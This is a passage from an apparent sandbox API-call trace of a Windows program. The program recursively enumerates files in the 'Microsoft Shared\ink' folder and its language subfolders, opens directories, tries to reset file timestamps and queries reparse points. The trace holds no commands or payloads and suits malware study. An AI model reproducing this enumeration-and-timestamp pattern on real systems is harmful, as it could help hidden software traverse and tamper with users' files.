ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe.mui", cAlternateFileName="")) returned 1 [0047.982] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc8723b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdc8723b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll.mui", cAlternateFileName="")) returned 1 [0047.982] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkWatson.exe.mui", cAlternateFileName="")) returned 1 [0047.982] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe.mui", cAlternateFileName="")) returned 1 [0047.982] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5800, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll.mui", cAlternateFileName="")) returned 1 [0047.982] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll.mui", cAlternateFileName="")) returned 1 [0047.982] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x250aa25, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x250aa25, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5aa753, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36400, dwReserved0=0x0, dwReserved1=0x0, cFileName="join.avi", cAlternateFileName="")) returned 1 [0047.982] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll.mui", cAlternateFileName="")) returned 1 [0047.982] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe.mui", cAlternateFileName="")) returned 1 [0047.982] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll.mui", cAlternateFileName="")) returned 1 [0047.982] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeca1847, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf901a42, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xeca1847, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll.mui", cAlternateFileName="")) returned 1 [0047.982] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe.mui", cAlternateFileName="")) returned 1 [0047.982] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25c90f6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x25c90f6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5d08b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2f600, dwReserved0=0x0, dwReserved1=0x0, cFileName="split.avi", cAlternateFileName="")) returned 1 [0047.982] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa23a9ac, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa5a884b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa23a9ac, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tabskb.dll.mui", cAlternateFileName="")) returned 1 [0047.982] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipBand.dll.mui", cAlternateFileName="")) returned 1 [0047.982] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll.mui", cAlternateFileName="")) returned 1 [0047.982] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5cd75ed, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5f38bbd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5f38bbd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.982] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 1 [0047.982] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 0 [0047.982] GetLastError () returned 0x12 [0047.982] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0047.982] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0048.013] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf8ea78) returned 1 [0048.013] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0048.013] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0048.027] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0048.027] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0048.027] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0048.027] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0048.027] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf934e0 [0048.027] DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf934e0, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xf934e0, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0048.027] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf934e0) returned 1 [0048.027] NtClose (Handle=0x188) returned 0x0 [0048.027] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0048.027] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0048.027] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0048.027] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0048.027] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d1a0 [0048.028] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.028] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0048.028] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0048.028] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0048.028] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0048.028] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0048.028] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0048.028] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8ea78 [0048.028] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0048.028] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf90b90 [0048.028] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf91708 [0048.028] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0048.028] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0048.028] GetLastError () returned 0x12 [0048.028] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0048.028] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0048.028] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.028] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0048.028] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0048.028] GetLastError () returned 0x12 [0048.028] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0048.028] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0048.028] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf8ea78) returned 1 [0048.028] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0048.028] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1 [0048.028] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0048.028] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0049.027] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0049.027] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0049.027] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf934e0 [0049.027] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf934e0, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xf934e0, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0049.027] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf934e0) returned 1 [0049.027] NtClose (Handle=0x184) returned 0x0 [0049.027] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.027] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.028] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0049.028] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0049.028] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0049.028] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.028] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0049.028] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0049.028] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0049.028] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0049.028] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0049.028] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0049.028] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8ea78 [0049.028] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0049.028] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf90bb0 [0049.028] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf91810 [0049.028] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x3c0) returned 0xf870d0 [0049.028] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf91158) returned 1 [0049.028] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0049.028] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0049.028] GetLastError () returned 0x12 [0049.028] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d1a0 [0049.028] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0049.029] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.029] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0049.029] FindNextFileW (in: 